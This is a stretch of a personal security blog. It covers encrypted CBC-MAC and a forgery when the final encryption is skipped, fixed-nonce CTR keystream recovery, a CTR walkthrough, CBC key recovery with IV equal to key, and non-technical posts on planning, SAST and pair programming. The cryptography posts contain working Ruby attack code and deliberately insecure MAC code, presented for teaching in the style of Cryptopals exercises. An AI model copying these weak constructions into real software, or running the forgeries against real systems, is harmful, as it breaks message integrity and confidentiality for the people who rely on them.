  blocks = message.each_slice(key.size)
  previous_encryption = iv

  blocks.each do |block|
    xor = previous_encryption.zip(block).map { |a, b| a ^ b }
    previous_encryption = aes_ecb_encrypt(xor, key)
  end

  previous_encryption
end

def ecbc_sign(key1, key2, message)
  cbc_result = aes_cbc_encrypt(message, key1, ZERO_IV)
  aes_ecb_encrypt(cbc_result, key2).pack('C*')
end

def ecbc_verified?(key1, key2, message, tag)
  ecbc_sign(key1, key2, message) == tag
end

tag = ecbc_sign(KEY1, KEY2, MESSAGE)
puts ecbc_verified?(KEY1, KEY2, MESSAGE, tag) # true
puts ecbc_verified?(KEY1, KEY2, MESSAGE, 'wrong') # false

As we can see every step of the chain requires the computation of the previous step, making the algorithm impossible to parallelize. Let’s move on and explore the reason we need a second key in ECBC.

Example of an implementation mistake

Suppose we forgot to encrypt the final result of our CBC-MAC chain using a different key, how can this be exploited in order to forge a new message?

To make it clear we are changing this method:

def ecbc_sign(key1, key2, message)
  cbc_result = aes_cbc_encrypt(message, key1, ZERO_IV)
  aes_ecb_encrypt(cbc_result, key2).pack('C*')
end

to:

def ecbc_sign(key, message)
  aes_cbc_encrypt(message, key1, ZERO_IV)
end

Attack

Let’s imagine we have a message with a single block and we want to generate a tag for it.

The way the tag would be generated is:

Step 1: result = zero_iv XOR message
Step 2: tag = ENCRYPT(key, result)

How can we forge a new message with two blocks and the same tag based on this knowledge?

Repeat the message for the first block
Create a second block with value tag XOR message

This is all we need to generate the same tag for and entirely different message! Let’s deconstruct the operations to see why:

Step 1: result = zero_iv XOR message
Step 2: c0 = ENCRYPT(key, result)
Step 3: c0 XOR tag XOR message
Step 4: tag = ENCRYPT(key, c0 XOR tag XOR message)
Which really is:tag = ENCRYPT(key, message)

The trick here is that c0 and tag are exactly the same, so when we XOR both they will cancel each other and only the message remains!

Let’s implement this!

require 'openssl'

BLOCK_SIZE = 16
KEY = BLOCK_SIZE.times.map { rand(0..255) }
ZERO_IV = Array.new(BLOCK_SIZE, 0)
MESSAGE = "I'm unforgeable!".bytes

def aes_ecb_encrypt(message, key)
  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.encrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0 # no padding
  result = cipher.update(message.pack('C*')) + cipher.final
  result.unpack('C*')
end

def aes_cbc_encrypt(message, key, iv)
  blocks = message.each_slice(key.size)
  previous_encryption = iv

  blocks.each do |block|
    xor = previous_encryption.zip(block).map { |a, b| a ^ b }
    previous_encryption = aes_ecb_encrypt(xor, key)
  end

  previous_encryption
end

# This is now broken and cannot guarantee integrity anymore.
def ecbc_sign(key, message)
  aes_cbc_encrypt(message, key, ZERO_IV)
end

def ecbc_verified?(key, message, tag)
  ecbc_sign(key, message) == tag
end

tag = ecbc_sign(KEY, MESSAGE)
forged_message = MESSAGE + tag.zip(MESSAGE).map { |a, b| a ^ b }
new_tag = ecbc_sign(KEY, forged_message)

puts ecbc_verified?(KEY, MESSAGE, tag) # true
puts ecbc_verified?(KEY, forged_message, new_tag) # true
puts tag == new_tag # true

And that’s all we need to understand the encrypted CBC-MAC algorithm.

I will leave this post mentioning that if we are able to obtain tags for two one-block messages we can also generate a new message that is the concatenation of these messages. Reach out to me via email or Twitter if you would like to share or validate your solution. :)

Our next post will cover NMAC, which is the basis for other interesting constructs. See you there!

Investment Planning

Mon, 01 Nov 2021 11:11:00 GMT

Over the past few weeks we have been on investment planning mode. You can think of it as a roadmap planning on steroids where the goal is not only to come up with a roadmap, but also detail team responsibilities, dependencies and discuss what success looks like and how it is measured.

As you can imagine this is a time consuming activity, but when done right it can bring alignment to the organization as a whole. It broadly follows an agenda like the one below:

Mission and Organization
Investment Planning
Prioritization
Presentation

These are split in three distinct meetings per team and every manager from the same product or service line should also attend. Leadership will also be present on these meetings to provide real-time feedback and ask probing questions. To make it clear, suppose your product line has two teams, this would result in eight different meetings.

Before each meeting managers are expected to have most of this work documented. Not doing this thinking beforehand decreases the usefulness of the investment planning and results in shallow planning.

Let’s break down each of these topics.

Mission and Organization

Before coming into this meeting managers are expected to:

Identify and list their customers and explain what each constituency wants and needs
Document what their team is currently responsible for

Customers

Identifying customers is a great way to describe what your team is responsible for and also find gaps in your organization. From the Security team point of view customers could be developers (internal and 3rd party developers), the Privacy and Partner Governance teams.

This step serves as a tripwire to uncover customers that are not the core responsibility of a team. For example, in a small organization the security team could also be responsible for dealing with privacy issues, but as the organization grows the effort and knowledge required to handle this topic might warrant an entirely new team.

After each constituency is identified it’s time to document what each one needs and wants. What does success look like and how do we measure it?

Using our Security team as an example yet again, we could say that the developers constituency wants to deliver new products and services with the confidence that they are secure. They also want helpful advice/training and actionable issues when they exist. In order to know whether the Security team is successful we can gather feedback in the form of a survey from developers, measure whether SLOs of issues are being respected and metrics like the performance of security toolings.

The understanding of what each constituency wants and needs tends to evolve every year as the team gets a better understanding of their domain and helps to define the future roadmap. This is also a great moment to prioritize which customers to serve.

What is the team responsible for

What Products and Services does your team own and provide? It doesn’t need to be only Software related, training is a great example of something that a Security team owns that is not related to Software. Listing the customers for each Product and Service is also helpful as a way to uncover hidden dependencies.

Sharing this with leadership and managers across your Product or Service line makes up for interesting conversations regarding team resourcing and ownership. It’s easy to spot whether a team is overstretched and whether they are achieving their mission within the organization or not.

This acts as a tripwire to understand which efforts are in a healthy state and which ones are underinvested and require more resources (support, money, people). In some cases deciding whether an effort should be dropped or not is equally important.

Investment Planning

Before coming into this meeting managers are expected to figure out:

What the team will invest on in the following year
What the team could invest on given unlimited resources (support, money, people)
What’s the priority among investments

Investments

Time to detail and document what the team is planning to invest on. For each effort how do you describe it to leadership and which problems is the team trying to address with it? Think of this section as an elevator pitch for each investment.

Based on the investments that were identified above we should answer a few more questions. What does success look like and how to measure it? What are the dependencies in play? How many people are needed for this investment to be feasible?

If the previous meeting was responsible for raising awareness of what the team is currently owning, this one is responsible for raising awareness of what is to come. This is the perfect moment for leadership to intervene and give feedback in order to guide the roadmap.

This is not the moment to plan the execution of each effort, it is better to keep the discussion at a higher level.

Potential investments

What could your team tackle with unlimited resources? This is a fun exercise where you as a manager imagine a world without constraints. Any new initiatives come to mind? Any new products or services? This is extremely useful to share with leadership the long term vision of your team and what you think they would be capable of.

This hypothetical scenario can also be made possible with buy-in from the organization. If there’s an initiative that leadership really wants to make a reality your team could receive the green light to hire, seek third party providers or partner with other teams internally. If nothing, it is also a great way to think long term.

Prioritization

What are the key efforts from your team that should be fulfilled regardless of what happens? That’s what prioritization aims to answer. It makes for an interesting conversation of what you as a manager thinks that your team should prioritize versus what leadership thinks that should be prioritized. It also helps planning where new hires should be allocated and who will be responsible for their onboarding.

Presentation

After all this work with managers and leadership it is time to present the finished work to your own team. By this point in time you should have a clear picture of the roadmap and the team’s vision. Team members are usually inspired by the vision as opposed to the work, so focusing a bit more on it yields better results in terms of participation and feedback.

Recap

By the end of an investment planning your team and leadership should have a clear picture of the future roadmap and what should be prioritized. This will help to set expectations with team members and leadership and will also guide hiring efforts. It is also a great document to have at hand for new hires since it perfectly encapsulates what the team is responsible for and what they are planning to achieve for the year.

How does your organization approaches this topic? I would love to have a conversation if you feel we are missing steps or to clarify any of the topics above. As always you can reach me via email or twitter, see you next time!

Introducing static application security testing (SAST) to an organization

Tue, 19 Oct 2021 18:15:00 GMT

Static Application Security Testing (SAST) is a technique that relies on source code analysis to search for known vulnerable or dangerous patterns. It is particularly useful as a source of early feedback to developers when integrated to a company’s CI pipeline in order to identify issues before they make it to production.

Disclaimer, this blog post expands on this excellent thread by Alex Smolen and will focus on what a team should consider when introducing SAST at scale. It is not an attempt to describe the pros and cons of the technique or detail the domain where it is the most effective.

Background

Experimenting and introducing SAST tools is becoming a prevalent technique in our industry with promises that it will make our codebases more secure without too much effort, but that’s far from the truth. There are many aspects to be considered when introducing these tools to your organization if you don’t want to actually make it worse.

Developer experience
- How fast is the CI step
- How false positives are reported or skipped
- Are rules actionable and teaching developers how to fix the issue
Data analytics
- Which types of vulnerabilities were uncovered
- How many vulnerabilities were uncovered
- How many duplicates are being generated
- How many false positives or false negatives are being generated
- What are the SLOs after a vulnerability is uncovered
Process
- When and how should a repository be onboarded
- When should a rule be added or removed
- How rules across tools are deduplicated
- How tools are introduced or dropped
- How to report alerts to developers
- How to report results to leadership

I’m sure there are things that I forgot to mention, but the list above should give you an idea that introducing SAST to your organization is just the first step and doesn’t mean much unless you have also figured out some or all of these questions. Let’s expand on each of these categories.

Developer experience

A SAST process that prevents developers from shipping code is actually harming the business rather than helping it, so the first thing to consider when introducing it is to analyze how it will impact the developer experience. Is the new CI step impacting delivery? Are false positives forcing developers to reach out to the security team all the time before shipping? The goal is to create a process that helps developers, not one that gets in their way.

The security team plays a huge part in validating dismissed alerts and figuring out whether they were false positives or not. If they were, how should the team prevent them from being triggered in the future? Giving the ability for alerts to be dismissed/reported as false positives is a key part of the process, otherwise the security team will likely be overwhelmed with reach outs from the entire organization.

With all of the above said, this process is still bound to annoy a few developers in your organization. Having the buy-in from leadership and creating a culture around not compromising quality, performance and security will do wonders for the acceptance of this process. Finding developers across the organization that are interested in security can also help to raise awareness and build knowledge across the organization.

Last but not least, alerts should be surfaced in a way that guides developers towards learning why that particular pattern is considered dangerous or a vulnerability and how to prevent it in the future.

Data Analytics

Is the team able to prove to leadership that the process is successful? Is it the best use of their time? Planning how to collect actionable data from the start will play a huge role in making the entire effort successful.

Rules & Alerts insights

Which rules or alerts are the most impactful? Having data will allow the team to uncover which rules are being useful to the business and which ones should be removed due to the amount of false positives or unreasonable CI time. Identifying missing rules is the next step and partnering up with the internal Bug Bounty program if one exists might be the way to close the feedback loop.

The team should have metrics and set expectations for categories of alerts and closely monitor whether these expectations are being fulfilled. Let’s see some examples:

Services running our SAST tools should see a 30% decrease of bug bounty reports
Services running our SAST tools should see a 20% increase in fixable security issues
Services running our SAST tools should have at maximum 25% of alerts dismissed

These metrics and expectations will dictate areas of improvement for your process.

Tool insights

Which tools are being useful and does the current pipeline have any gaps? How long does each tool take in the CI/CD pipeline? Is the return of investment (time invested versus findings) worth the introduction and maintenance of tool?

Having a clear picture of the current code coverage per language or framework in a tool is an important step to guide the future roadmap.

Management insights

How long does it take for an issue to be actioned? Setting SLOs for findings and being able to track whether they are being actioned on time is an important part of the process. Being able to track when an issue was opened or closed and having SLOs for different kinds of severities is a great way to keep the organization accountable.

Process

Each part of the process should be documented; this will help with its maintainability and allow it to scale up when the time comes. An interesting side effect of having the entire process documented and backed up by data is that it becomes apparent when a particular step is underperforming or becoming a bottleneck. These areas are prime targets for early automation.

Having a clear set of metrics to report to leadership with a predefined cadency is crucial to keep stakeholders in the loop; it is also a good way to seek feedback and guide future iterations of the process.

Recap

Identifying and solving security issues is the goal of a proactive security team. Introducing new tools to the process is just a consequence, not the end goal.

I hope this post didn’t discourage you from introducing SAST to your organization. It is a great technique that can make your organization more secure and resilient when implemented correctly. If you have comments, suggestions or simply disagree with this approach I would love to have a conversation about it. As always please reach it via email or twitter, see you next time!

Pair Programming 101

Sat, 25 Sep 2021 10:11:00 GMT

Pair Programming is easily one of my favourite activities on my day to day job, but getting them right is not always easy. The idea that it’s enough to set up those sessions and everything will flow permeates our industry, but things rarely go smoothly without prior planning. This post is an effort to explain the way I usually approach pair programming and I hope you will find one or two things that can help you in your future sessions.

Before we start it’s worth mentioning that as people get to know and trust each other it becomes easier to have impromptu pair programming sessions.

What is the goal of a pair programming session?

Let’s investigate which goals are best suited for this workflow. This list is non-exhaustive, but those three points have been my main reasons to pair program for some years now.

Sharing knowledge

Pair programming is a great tool to onboard new peers into a codebase, project or even a single task. The idea of being able to ask questions while diving into critical parts of the code from someone with higher context makes this goal a particularly good fit for pair programming.

It’s also an interesting tool to pick up tips and tricks from other developers on your team. From how to better navigate code to IDE shortcuts and different workflows.

Brainstorming

It’s very common for developers to get stuck trying to come up with an implementation that they consider solid. Pair programming gives them the opportunity to brainstorm with different developers and gather insights that might unlock a great solution to the problem at hand.

Time constrained tasks

Bugs, security issues, on-call alerts, the list goes on and on. The common characteristic of these items is that they need to be tackled fast. Pair programming as a way to validate those quick fixes works really well to prevent developers from rushing with a non ideal solution. It also helps calm people down as they don’t feel alone in their moment of crisis.

What pair programming is not?

It’s not a way to speed up development. Once both parties agreed upon a particular solution it’s usually easier for someone to own the task and finish it up. Reviewing the pull request will become much easier since at least one of the reviewers will already have plenty of context on the subject. Pair programming shortens the feedback loop in this case.

Requirements for a productive session

Below I will list the critical requirements for a productive session. They might work slightly different depending on the goal of the session, but most of the time they will prove useful.

Create an agenda

Calling someone to a pair programming session without sharing context is a recipe for unproductive sessions. One of two things might happen:

You will need to spend time out of the session sharing context before you can even begin making use of it.
You will likely end up with a subpar solution.

The second point is especially true when one of the parties is considered more senior than the other. What happens is that the senior “solution” will likely be followed without both parties bouncing ideas off each other.

Example of an agenda

Hey, I have this task and I would love to pair program, here are the requirements:

Read a CSV with repositories
Mass update database tables/rows based on the CSV criteria

This is the issue we are trying to tackle: issue link You can also read more about it: here

Let me know when we can meet to pair program.

Evaluate solutions

With the agenda in place hopefully both parties have the required context to discuss the task at hand. This new step takes part in the beginning of a session and its goal is to share potential implementation ideas and discuss until these ideas converge into a solution that make both parties satisfied.

It’s also a great moment to ask questions like “How did you come up with this implementation?” or “Why did you pick X over Y?“. Mentoring becomes much easier once you have a bounded task that both parties fully understand and had time to think about.

Establish ground rules

It’s draft implementation time! But before we dive right in let’s establish some ground rules to make our session more productive for both of us.

Who is driving?
- Should we switch? When?
If I notice a typo, should I speak up right away?
- Should I wait till we finish the line/method/class?
Should we be concerned with variables/methods/classes naming right away?
How long should our sessions last?
- Everyone has a different limit to how long they can focus without feeling drained.

It seems simple, but answering these questions can make your sessions less stressful or tiring.

Departing thoughts

Ultimately pair programming shouldn’t be stressful. Whether you are a junior or senior developer you shouldn’t have the feeling that you are being judged. Having a conversation about ground rules will pay off in the long run if you currently have this feeling in your sessions.

Again, this is not an exhaustive list, if you have other steps/criteria that works for you I would love to chat! Reach out to me via email or Twitter and we can figure out something. See you next time!

Message Authentication Code (MAC)

Sat, 18 Sep 2021 11:11:00 GMT

After our long journey learning about and attacking common block ciphers it’s time for a new segment, this time we will dive into what is a Message Authentication Code (MAC) and common implementations. Maybe we will even dive into some common implementation mistakes, why not?!

This series will be divided into the following posts:

Message Authentication Code (MAC)
Encrypted CBC-MAC (ECBC)
NMAC
PMAC
HMAC
Poly1305-AES

So what is a Message Authentication Code (MAC)?

It is a way to provide message integrity without confidentiality, meaning an attacker can see a message but cannot modify it.

It’s split into two functions:

A function that signs a message
- S(key, message) -> tag
A function that verifies a message
- V(key, message, tag) -> boolean

The verification function will compute a new tag and compare it with the provided one, if they are the same it will return true, otherwise false.

Notice the key argument being passed to both functions. In order to enforce integrity both parties are required to have a shared secret key. It’s worth repeating, without a shared secret key a MAC cannot guarantee the integrity of a message.

More formally, a MAC system is considered secure if an attacker who is given the tag on arbitrary messages of his choice cannot construct a tag for some new message.

Examples

Far from being an exhaustive list, the two examples below are just there to demonstrate that technologies that are used on a daily basis also employ MACs to guarantee integrity.

Webhooks

Webhooks are usually sent with an associated MAC in order to verify authenticity and consistency of a message, as in, we know where it is coming from and that it haven’t been tampered with.

JSON Web Token (JWT)

JWTs can be signed with HMAC, which is a type of MAC in order to verify its integrity. These JWTs are usually called signed tokens and are not secret. HMAC is not the only algorithm used by JWT that can provide integrity though, RSA or ECDSA are algorithms that can provide secrecy and integrity.

Types of MAC

MACs are usually constructed in one of the following ways:

Through block cipher algorithms
- CBC-MAC (ECBC), CMAC, PMAC, …
Through cryptographic hash functions
- HMAC being the most well known
Universal hashing
- UMAC-VMAC, Poly1305-AES, …

That’s all we are covering for now. Throughout future posts we will investigate some of these algorithms and explore common flaws in implementation that could be exploited by attackers.

Breaking CTR with fixed nonce

Sun, 05 Sep 2021 12:15:00 GMT

In this post we will investigate the “break fixed-nonce CTR” exercise from Cryptopals. It’s helpful to read the problem statement before reading this blog post and I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject. We also have a previous post explaining how CTR works.

In this exercise we are presented with 40 CTR-encrypted ciphertexts and we know that each of them were encrypted under the same nonce.

In CTR a nonce is just a random value that will be concatenated with a counter, both are usually 8 bytes each. Once these two values are concatenated they will be encrypted under AES-128-ECB and then XORed with 16 bytes from our plaintext. As a reminder, here’s the full process:

Thought process

We have 40 CTR-encrypted ciphertexts under the same nonce, so what’s wrong with that? At first I had no idea, so I decided to look closely at the encryption process and try to derive some commonality between this exercise and problems that I have previously solved.

For the sake of simplicity let’s imagine that we only have two plaintexts being encrypted under a fixed nonce and the same key and try to encrypt it ourselves:

Nonce: [33, 112, 111, 116, 97, 116, 111, 33]

Key: [76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47] (16 bytes)

Plaintext 1: [115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101]

Plaintext 2: [105, 95, 97, 109, 95, 104, 97, 114, 109, 108, 101, 115, 115, 95, 112, 108, 101, 97, 115, 101, 95, 100, 111, 110, 111, 116, 95, 112, 101, 101, 107, 33]

Let’s see how plaintext 1 would be encrypted:

The first block will be encrypted with:

First we generate the Nonce + Counter:
- [33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 0]
Now we encrypt this value under AES-128-ECB using our key.
We XOR this value with our first block from plaintext 1 to get the ciphertext.

The second block will be encrypted with:

First we generate the Nonce + Counter:
- [33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 1]
Now we encrypt this value under AES-128-ECB using our key.
We XOR this value with our second block from plaintext 1 to get the ciphertext.

Now let’s see how plaintext 2 would be encrypted:

The first block will be encrypted with:

First we generate the Nonce + Counter:
- [33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 0]
Now we encrypt this value under AES-128-ECB using our key.
We XOR this value with our first block from plaintext 2 to get the ciphertext.

The second block will be encrypted with:

First we generate the Nonce + Counter:
- [33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 1]
Now we encrypt this value under AES-128-ECB using our key.
We XOR this value with our second block from plaintext 2 to get the ciphertext.

Wait, did you notice anything similar between these encryptions?

It’s totally fine if not, here they are:

The first block of plaintext 1 gets XORed with the exact same value as the first block from plaintext 2.
The second block of plaintext 1 gets XORed with the exact same value as the second block from plaintext 2.

If you remember our Repeating Key XOR and Repeating Key XOR II posts you will notice that we have the exact same problem in our hands!

Every first block of each CTR-encrypted ciphertext can be cracked using repeating key XOR, and we will do the same for each subsequent block.

Attack

We will approach this problem by doing the following:

Concatenate the first 16 bytes of every message, and apply repeating key XOR
Concated the next 16 bytes of every message, and apply repeating key XOR
Repeat until we exhaust the entire message.

But not every message has the same length!

That’s ok, we can use the message with the smallest length and apply our attack. We might miss something, but at least we will decrypted the majority of our messages.

Let’s see this in code:

require 'base64'
require 'openssl'

def aes_ecb_encrypt(plaintext, key)
  if !(plaintext.size % 16).zero?
    raise 'Buffer must be composed of 16-byte chunks' 
  end

  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.encrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0
  result = cipher.update(plaintext.pack('C*')) + cipher.final
  result.unpack('C*')
end

def aes_ctr_encrypt(plaintext, key, nonce)
  blocks = plaintext.each_slice(16)

  blocks.each_with_index.flat_map do |block, counter|
    # Make sure our counter is 8 bytes
    counter = [counter].pack('q<').bytes

    intermediate = aes_ecb_encrypt(nonce + counter, key)
    intermediate = intermediate.take(block.size)

    block.zip(intermediate).map { |a, b| a ^ b }
  end
end

BLOCK_SIZE = 16
NONCE = 0
KEY = 16.times.map { rand(0..255) }

CIPHERTEXTS = [
  # See encoded plaintexts in:
  # https://cryptopals.com/sets/3/challenges/19 
].map do |c|
  aes_ctr_encrypt(
    Base64.decode64(c).bytes,
    KEY,
    NONCE
  ).flatten
end

MIN_LENGTH = CIPHERTEXTS.min_by(&:size).size
ALIGNED_CIPHERTEXTS = CIPHERTEXTS.map do |cipher|
  cipher
    .slice(0, MIN_LENGTH)
    .each_slice(BLOCK_SIZE)
    .to_a
end

# Making every first block of every ciphertext be part of
# the same Array, the second block of every ciphertext part
# of the same Array and so on and so forth.
transposed_blocks = ALIGNED_CIPHERTEXTS.transpose.to_a

keystream = transposed_blocks.flat_map do |blocks|
  blocks.transpose.map do |block|
    max_score = 0
    chosen = ''

    (0..255).each do |candidate|
      result = block.map { |b| b ^ candidate }

      # See https://bernardoamc.com/repeating-key-xor/
      # for the implementation of english_score.
      score = english_score(result.pack('C*'))

      if score > max_score
        max_score = score
        chosen = candidate
      end
    end

    chosen
  end
end.pack('C*')

CIPHERTEXTS.each do |c|
  key = keystream.bytes.slice(0, c.size)
  key_size = key.size

  plain = c.map.with_index(0) do |byte, index|
    byte ^ key[index % key_size]
  end

  puts plain.pack('C*')
end

And this is all we need to do in order to attack multiple CTR-encrypted ciphertexts under the same nonce! We could refine our english_score method to yield even better results and work to decrypt more of the message, but the fact that we can already infer parts of the plaintext with this approach validates the attack.

In future posts we will start exploring the concept of message authentication and potential pitfalls of common implementations. As always please reach out to me via email or Twitter if you have suggestions, questions or just want to chat about the topic.

CTR mode introduction

Wed, 25 Aug 2021 12:15:00 GMT

So far we have learned about ECB and CBC, now it’s time to explore the Counter (CTR) mode. Let’s start with a definition from Wikipedia:

Counter mode turns a block cipher (like ECB or CBC) into a stream cipher. It generates the next keystream block by encrypting successive values of a “counter”. The counter can be any function which produces a sequence which is guaranteed not to repeat for a long time, although an actual increment-by-one counter is the simplest and most popular.

There are a few characteristics of this mode that are worth mentioning:

It does not require padding
Decryption is identical to encryption
Blocks can be encrypted in parallel
Allows for random access during decryption

With that said, let’s see how encryption works for this mode.

Encryption

As we can see from the image above we have four components in our system.

Nonce
- Usually a random value
Counter
- Usually an incremental counter as seen in the image
Key
- The key to encrypt Nonce + Counter under ECB
Plaintext
- Our message that will be split in blocks of 16 bytes each.

The Nonce plus Counter can be combined in any way in order to generate a value that has the same size of our block, which is 16 bytes.

Let’s create an example and encrypt it step by step under CTR.

Example

Nonce: [33, 112, 111, 116, 97, 116, 111, 33]

Counter: Starts at zero and will occupy 8 bytes in our example

This means our first iteration will run with counter:
[0, 0, 0, 0, 0, 0, 0, 0]

The second iteration will run with counter:
[1, 0, 0, 0, 0, 0, 0, 0]

The third iteration will run with counter:
[2, 0, 0, 0, 0, 0, 0, 0]

And so on and so forth.

Key: [76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47] (16 bytes)

Plaintext: [115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101, 33] (33 bytes)

Notice that our plaintext has a size of 33 bytes, which means it will be split into 3 blocks.

First block encryption

The first step is to generate the Nonce + Counter. In this example we will concatenate both arrays and end up with:
[33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 0]

Now we encrypt this value under ECB using our key and get back:
[157, 136, 111, 203, 58, 132, 197, 84, 85, 135, 63, 235, 158, 224, 196, 100]

The next step is to XOR this value with our first block from the plaintext:

[157, 136, 111, 203, 58, 132, 197, 84, 85, 135, 63, 235, 158, 224, 196, 100]
XOR with FIRST BLOCK
[115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97]

And we end up with:
[238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5]

Second block encryption

The first step is to generate the Nonce + Counter:
[33, 112, 111, 116, 97, 116, 111, 33, 1, 0, 0, 0, 0, 0, 0, 0]

Now we encrypt this value under ECB using our key and get:
[165, 24, 130, 65, 106, 217, 109, 50, 112, 214, 155, 118, 169, 217, 198, 65]

Followed by XORing this value with our second block from the plaintext:

[165, 24, 130, 65, 106, 217, 109, 50, 112, 214, 155, 118, 169, 217, 198, 65]
XOR with SECOND BLOCK
[103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101]

And we end up with:
[194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36]

Third block encryption

This block is interesting since we only have a single byte remaining from our plaintext, so let’s see how the algorithm encrypts it:

The first step is to generate the Nonce + Counter:
[33, 112, 111, 116, 97, 116, 111, 33, 2, 0, 0, 0, 0, 0, 0, 0]

Now we encrypt this value under ECB using our key and get:
[84, 38, 123, 152, 20, 104, 97, 111, 59, 94, 140, 85, 214, 90, 181, 199]

Followed by XORing this value with our third block from the plaintext:

[84, 38, 123, 152, 20, 104, 97, 111, 59, 94, 140, 85, 214, 90, 181, 199]
XOR with THIRD BLOCK
[33]

These are clearly different in size, so how can we XOR these? In this case the solution adopted by the algorithm is simple, we only XOR the amount of bytes that our plaintext block has remaining, which is a single byte in our example! So:

[84]
XOR
[33]

And we end up with: [117]

Final encryption

After concatenating all of our results we end up with our ciphertext:
[238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5, 194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36, 117]

Let’s solve this programatically and see if we end up with the same value!

require 'openssl'

NONCE = [33, 112, 111, 116, 97, 116, 111, 33]
KEY = [76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47]
PLAINTEXT = [115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101, 33]

def aes_ecb_encrypt(plaintext, key)
  raise 'Buffer must be composed of 16-byte chunks' unless (plaintext.size % 16).zero?
  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.encrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0
  result = cipher.update(plaintext.pack('C*')) + cipher.final
  result.unpack('C*')
end

def aes_ctr_encrypt(plaintext, key, nonce)
  blocks = plaintext.each_slice(16)

  blocks.each_with_index.flat_map do |block, counter|
    # Make sure our counter is 8 bytes
    counter = [counter].pack('q<').bytes

    intermediate = aes_ecb_encrypt(nonce + counter, key)
    block.zip(intermediate).map { |a, b| a ^ b }
  end
end

puts aes_ctr_encrypt(PLAINTEXT, KEY, NONCE).inspect

Since this provides the same result as our manual encryption we can move to the decryption.

Decryption

The cool thing about this algorithm is that the decryption is exactly the same as the encryption, we only need to provide the ciphertext to our algorithm instead of the plaintext.

Let’s get our ciphertext from the previous example and programatically decrypt it using the exact same code.

Remember, our ciphertext was:
[238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5, 194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36, 117]

require 'openssl'

NONCE = [33, 112, 111, 116, 97, 116, 111, 33]
KEY = [76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47]
PLAINTEXT = [115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101, 33]

# This is the value we got from our encryption
CIPHERTEXT = [238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5, 194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36, 117]

def aes_ecb_encrypt(plaintext, key)
  raise 'Buffer must be composed of 16-byte chunks' unless (plaintext.size % 16).zero?
  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.encrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0
  result = cipher.update(plaintext.pack('C*')) + cipher.final
  result.unpack('C*')
end

def aes_ctr_encrypt(plaintext, key, nonce)
  blocks = plaintext.each_slice(16)

  blocks.each_with_index.flat_map do |block, counter|
    # Make sure our counter is 8 bytes
    counter = [counter].pack('q<').bytes

    intermediate = aes_ecb_encrypt(nonce + counter, key)
    block.zip(intermediate).map { |a, b| a ^ b }
  end
end

# Notice that we are passing the CIPHERTEXT
decryption =  aes_ctr_encrypt(CIPHERTEXT, KEY, NONCE)
puts decryption == PLAINTEXT # true

And this is all the information we need to understand yet another block cipher mode, congratulations!

In future posts we will explore attacks involving this mode and how they can be prevented. Reach out to me via email or Twitter if you have suggestions, questions or just want to chat about the topic.

CBC - Recovering the key when the IV and the key are the same

Tue, 17 Aug 2021 08:00:00 GMT

This post is based on the “Recover the key from CBC with IV=Key” exercise from Cryptopals. I highly recommend attempting the previous CBC exercises yourself as they do a great job ramping up your knowledge on the subject.

Prerequisites

In order for this attack to be successful two things must be in place:

The encryption process must use the KEY as the IV
The server throws an error when decryption fails and reflects the decoded message to the attacker

Attack

Given the conditions above we can exploit this in the following way:

Make a plaintext with a length of at least 3 blocks
Encrypt the plaintext and get the resulting ciphertext
Modify the second block of the ciphertext to contain only zeros
Modify the third block of the ciphertext to be the same as the first block
Decrypt the ciphertext and get the invalid plaintext result
XOR the first and third blocks of the invalid plaintext
That’s our key!

Explanation

This seems magical at first, but let’s review the algorithm that is performed by CBC during decryption:

Deconstructing what needs to happen in order to decrypt our first block:

result = AES_Decrypt(first_block_ciphertext, KEY)
result XOR KEY (remember that we are using the KEY as the IV)

Deconstructing what needs to happen in order to decrypt our third block:

result = AES_Decrypt(third_block_ciphertext, KEY)
result XOR second_block_ciphertext

Let’s XOR these operations together:

AES_Decrypt(first_block_ciphertext, KEY) XOR KEY
XOR
